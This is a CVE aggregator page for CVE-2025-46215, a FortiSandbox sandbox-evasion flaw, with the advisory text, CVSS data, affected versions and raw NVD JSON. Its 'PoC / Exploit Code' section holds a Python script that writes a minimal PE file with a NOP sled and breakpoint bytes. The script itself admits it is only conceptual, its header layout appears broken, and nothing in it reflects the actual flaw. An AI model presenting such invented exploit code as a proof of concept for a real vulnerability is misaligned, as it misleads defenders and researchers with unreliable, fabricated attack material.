Security Vulnerability Report
中文
CVE-2025-46215 CVSS 5.3 MEDIUM

CVE-2025-46215

Published: 2025-11-18 17:16:02
Last Modified: 2025-11-20 14:38:53

Description

An Improper Isolation or Compartmentalization vulnerability [CWE-653] in Fortinet FortiSandbox 5.0.0 through 5.0.1, FortiSandbox 4.4.0 through 4.4.7, FortiSandbox 4.2 all versions, FortiSandbox 4.0 all versions may allow an unauthenticated attacker to evade the sandboxing scan via a crafted file.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:* - VULNERABLE
FortiSandbox 5.0.0 - 5.0.1
FortiSandbox 4.4.0 - 4.4.7
FortiSandbox 4.2 所有版本
FortiSandbox 4.0 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-46215 FortiSandbox Evasion PoC (Conceptual) # Note: This is a conceptual PoC for educational purposes only # Actual exploit requires specific file format knowledge import struct import os def create_malformed_file(): """ Create a crafted file that may evade FortiSandbox detection. The actual file format depends on specific vulnerability details. """ # Example: Create a PE file with specific characteristics # that might bypass sandbox analysis # MZ header pe_header = b'MZ' pe_header += b'\x00' * 58 pe_header += struct.pack('<I', 0x80) # PE offset # PE signature pe_sig = b'PE\x00\x00' # COFF header coff_header = struct.pack('<HHIIIHH', 0x014c, # Machine (x86) 0x0001, # NumberOfSections 0, # TimeDateStamp 0, # PointerToSymbolTable 0, # NumberOfSymbols 0xe0, # SizeOfOptionalHeader 0x0102 # Characteristics ) # Optional header optional_header = struct.pack('<HHBBIIIIIHHHHHH', 0x010b, # Magic (PE32) 14, # MajorLinkerVersion 0, # MinorLinkerVersion 0x200, # SizeOfCode 0x200, # SizeOfInitializedData 0, # SizeOfUninitializedData 0x1000, # AddressOfEntryPoint 0x1000, # BaseOfCode 0x3000, # BaseOfData 0x400000,# ImageBase 0x1000, # SectionAlignment 0x200, # FileAlignment 6, # MajorOperatingSystemVersion 0, # MinorOperatingSystemVersion 0, # MajorImageVersion 0 # MinorImageVersion ) # Section header section_name = b'.text\x00\x00\x00' section_header = section_name section_header += struct.pack('<IIIIIIIIHHII', 0x1000, # VirtualSize 0x1000, # VirtualAddress 0x200, # SizeOfRawData 0x200, # PointerToRawData 0, # PointerToRelocations 0, # PointerToLinenumbers 0, # NumberOfRelocations 0, # NumberOfLinenumbers 0x60000020 # Characteristics ) # Section data with shellcode shellcode = b'\x90' * 100 # NOP sled shellcode += b'\xcc' * 50 # Breakpoints (for evasion) shellcode += b'\x00' * (0x200 - len(shellcode)) # Combine all parts pe_file = pe_header + pe_sig + coff_header + optional_header + section_header + shellcode return pe_file def main(): output_file = 'CVE-2025-46215_sample.exe' malicious_content = create_malformed_file() with open(output_file, 'wb') as f: f.write(malicious_content) print(f'[+] Created PoC file: {output_file}') print('[+] File size:', len(malicious_content), 'bytes') print('[!] Note: This is a conceptual PoC. Actual exploit requires') print(' detailed analysis of the specific evasion technique.') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46215", "sourceIdentifier": "[email protected]", "published": "2025-11-18T17:16:01.513", "lastModified": "2025-11-20T14:38:52.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Isolation or Compartmentalization vulnerability [CWE-653] in Fortinet FortiSandbox 5.0.0 through 5.0.1, FortiSandbox 4.4.0 through 4.4.7, FortiSandbox 4.2 all versions, FortiSandbox 4.0 all versions may allow an unauthenticated attacker to evade the sandboxing scan via a crafted file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-653"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.4.8", "matchCriteriaId": "C0B145A7-83A1-4ED2-A9DC-109CAB0AB217"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.2", "matchCriteriaId": "42640C50-5490-4B50-840B-D35031671C42"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-501", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}